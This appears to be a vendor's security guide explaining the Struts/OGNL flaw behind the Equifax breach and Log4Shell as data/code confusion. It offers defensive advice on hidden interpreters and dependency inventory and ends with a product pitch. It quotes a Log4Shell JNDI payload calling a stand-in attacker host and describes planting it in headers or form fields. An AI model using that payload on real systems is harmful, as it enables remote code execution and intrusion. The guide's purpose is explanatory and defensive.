The interpreter you did not know you were calling
Two of the most consequential vulnerabilities of the last decade were the same bug wearing different clothes. In one, an HTTP header was pasted into an error message and the error-message code evaluated it as an expression. In the other, a log line was scanned for lookup tokens, and one of those tokens fetched and ran a Java class from a server the attacker controlled.
Neither codebase called eval. Neither team chose to build an interpreter. The
interpreter was already there, inside a dependency, doing exactly what it was
designed to do.
What happened, twice
Struts, OGNL, and Equifax (2017)
Apache Struts 2 is a Java web framework. Its Jakarta multipart parser handles
file uploads, and when it receives a Content-Type header it cannot parse, it
raises an error and builds a message describing the problem.
That message-building step was the vulnerability. The raw, attacker-controlled
header string was passed through LocalizedTextUtil.findText, the framework's
localized-message helper. That helper evaluates any ${...} or %{...}
sequence it finds as an OGNL expression. OGNL, the Object-Graph Navigation
Language, is Struts' embedded expression engine, and it can reach the Java
runtime.
So the flow was: send a Content-Type header the parser cannot understand,
containing an OGNL expression. The parser fails. The failure path interpolates
your header into a message template. The template engine evaluates your
expression. You have remote code execution, unauthenticated, on a request that
never got as far as any application code you wrote.
Read that ordering again, because it is the part that surprises people: the vulnerable code only ran when parsing failed. A well-formed request went nowhere near it.
Apache released the fix on 7 March 2017. Equifax did not apply it. According to the FTC's settlement announcement, the breach exposed the personal data of at least 147 million people, including 145.5 million Social Security numbers and 209,000 payment card numbers. The global settlement had a floor of $575 million and a ceiling of $700 million.
Two figures are routinely misquoted here, so it is worth being precise. The widely repeated "143 million" was Equifax's own initial count; the FTC later confirmed at least 147 million. And "$700 million" is the cap on the settlement, not the agreed amount: the floor is $575 million.
Log4Shell (2021)
Log4j 2 is one of the most widely deployed logging libraries in the Java
ecosystem. It had a feature called message lookups: if a string being logged
contained
${...}, Log4j would resolve the lookup and substitute the result. Some of
those lookups were useful, like environment variables. One of them was jndi.
A logged string containing ${jndi:ldap://attacker.example/x} caused Log4j to
perform a JNDI lookup over LDAP. On affected JVM configurations that lookup
fetched and instantiated a remote Java class, which is to say it ran the
attacker's code.
The delivery mechanism was whatever your application logged. Set a username to
that string. Set a User-Agent header to it. Put it in a search box. Then wait
for something, anywhere in the request path, to write it to a log.
The load-bearing facts are these: CVE-2021-44228, disclosed on 9 December 2021, CVSS 3.1 base score 10.0, affecting Log4j 2 from 2.0-beta9 through 2.14.1, with a first (and partial) fix in 2.15.0.
You will also see confident counts of how many devices or servers were exposed. Do not repeat them. No credible exact figure exists, and published estimates vary enormously by source and by method. The honest statement is that the library was embedded across hundreds of millions of systems ecosystem-wide, and that the CVE, the date, the score and the version range are the parts you can actually check.
Why it compiled and shipped anyway
Both bugs sat in production for a long time, in code reviewed by competent people. Five reasons, and none of them is carelessness.
Nothing dangerous appears in the diff. There is no Runtime.exec, no
eval, no string concatenated into SQL. The sink is a library call whose name
reads as harmless: build an error message, write a log line. A reviewer looking
for dangerous functions finds none.
The two paths involved are the least-reviewed paths in any codebase. Error handling and logging get written once, checked for "does it produce a string", and never revisited. They are also the paths most likely to receive raw, unvalidated input, because they run before or instead of the normal validation flow.
The trust gradient is inverted. Developers treat logging as the safest possible thing to do with untrusted input, precisely because it does not touch the database or the shell. That intuition is what the attack monetizes.
The interpreter is transitive. Log4j arrives through a framework, which arrives through a starter dependency, which arrives because somebody wanted a web server. Plenty of teams shipped the vulnerable code without ever having made a decision about their logging library.
Every layer trusted the layer below it. A string was logged, which looked like data. Log4j evaluated it, which turned out to be an expression language. JNDI resolved it, which turned out to be a class loader. No single layer was obviously wrong on its own terms. The composition was catastrophic.
The class of flaw
This is data/code confusion, and it is one bug, not a family of related ones. Strip away the language and every instance is four steps:
- Bytes cross a trust boundary. A header, a form field, a filename, a queue message, a log line.
- Those bytes reach something that parses. A SQL engine, a shell, a template compiler, a deserializer, a lookup evaluator.
- That parser is powerful enough to find structure, not just content, in the
bytes. A quote ends a literal. A semicolon chains a command.
${}triggers a lookup.__reduce__names a callable. - The developer assumed data. The interpreter assumed code. The gap between those two assumptions is the vulnerability.
The same skeleton produces SQL injection, OS command injection, server-side template injection, unsafe deserialization, and both of the incidents above. OWASP files the whole family as A03:2021.
One myth worth killing while we are here. Injection was ranked first in the 2017 OWASP Top 10 and third in 2021, and this is regularly presented as evidence that the industry solved it. It is not. The 2021 list changed its ranking methodology (it ranks largely by incidence rate) and folded cross-site scripting into the same category. The category moved. The bug did not go anywhere.
The other thing worth naming is the gadget-chain problem. In Java
deserialization, in PHP object injection, and in JavaScript prototype
pollution, the attacker supplies only data. The executable part of the exploit
is assembled from classes already sitting on your classpath, in libraries you
never call directly. So "I never call exec" is not a defence, and neither is
"there is no chain in my application". Chains live in dependencies, and they
appear over time as those dependencies change.
What to check in your own codebase
This is the part that transfers. None of it requires knowing about Struts or Log4j specifically.
Inventory your hidden interpreters. For every dependency that takes a
string and gives you back a string, ask one question: does it expand anything?
Look for ${...}, %{...}, #{...}, {{...}} support in loggers,
internationalization and message bundles, template engines, configuration
loaders, email and notification templating, rules and formula engines, and any
query builder that advertises expression support. If a library expands
placeholders, it is an expression language, and untrusted input must never
reach it as part of the pattern.
Treat error paths as sinks. Search for places where a raw request value is
interpolated into a message that is then handed to a formatter, a localizer, or
a template. The dangerous shape is format(userInput). The safe shape is
format("...{}", userInput), where the untrusted value is an argument and
never part of the format string. This is the same rule as the printf
format-string bugs of twenty years ago, and it generalizes further than people
expect.
Log with parameters, not concatenation. Passing the value as a parameter does not by itself defeat a logger that expands lookups after substitution, so this is not a complete fix for a Log4Shell-shaped bug. It is still the right default, because it keeps untrusted text out of the one string the library treats as syntax.
Turn off the features you do not use. Message lookups in your logger. DTD processing in your XML parser. Expression evaluation in templates you render from user-supplied content. A feature you have disabled cannot be a sink.
Reach for the least powerful parser that does the job. yaml.safe_load
rather than yaml.load. JSON rather than pickle. A strict allowlist of
expected classes rather than a general readObject over untrusted bytes. A
parser that cannot construct objects cannot be tricked into constructing a
malicious one.
Know what is actually in your build, including what you did not choose. Direct dependencies are the easy part. The hard part is the transitive graph, and the harder part still is working out whether the vulnerable code path in a flagged version is reachable from an entry point in your application. That distinction is what turns a wall of advisories into a work queue somebody can finish.
Reject the "just data" label. A log line, a filename, a YAML config, a queue message, an HTTP header. Every one of those has been a real remote-code-execution path in a shipped system. "Data" is your assumption about the bytes, not a guarantee the interpreter has agreed to.
Where the record is thin
Being straight about the limits of the public record is part of the point of these guides.
For Log4Shell, the blast-radius numbers are estimates. The CVE, the disclosure date, the CVSS score and the affected version range are checkable; the device counts are not.
For Equifax, the initial-access mechanism is well documented and so are the regulatory outcomes. What is not a code-level story, and what we are not going to attribute to the Struts bug, is how much of the eventual loss came from the unpatched framework versus everything that happened after the attacker was already inside. The first door was a missing patch on a framework whose error path was an interpreter. How large the room behind that door turned out to be is a separate question, and it is not one the code answers.
Sources
- FTC: Equifax to pay $575 million as part of settlement
- The Hacker News: the Apache Struts flaw behind the Equifax breach
- NVD: CVE-2021-44228 (Log4Shell)
- Log4Shell overview
- OWASP Top 10 2021, A03 Injection
Where Vulkro fits
If the dependency-inventory problem above is the one you are stuck on: Vulkro reads dependency manifests and lockfiles on your own machine, without uploading the code, and reports the versions with known vulnerabilities. It matches against a checksummed CVE bundle held on disk, so the scan works with the network off.
Read next:
- Software and data integrity failures: the rule page for the dependency and supply-chain findings described here.
- Dependencies and CVEs: how manifests, lockfiles and the local CVE bundle are matched.
- Supported languages and frameworks: how deep Vulkro reads each language, and where it stops.
- What Vulkro does: the product overview.
- Static analysis with no network: running the scanner on a disconnected machine.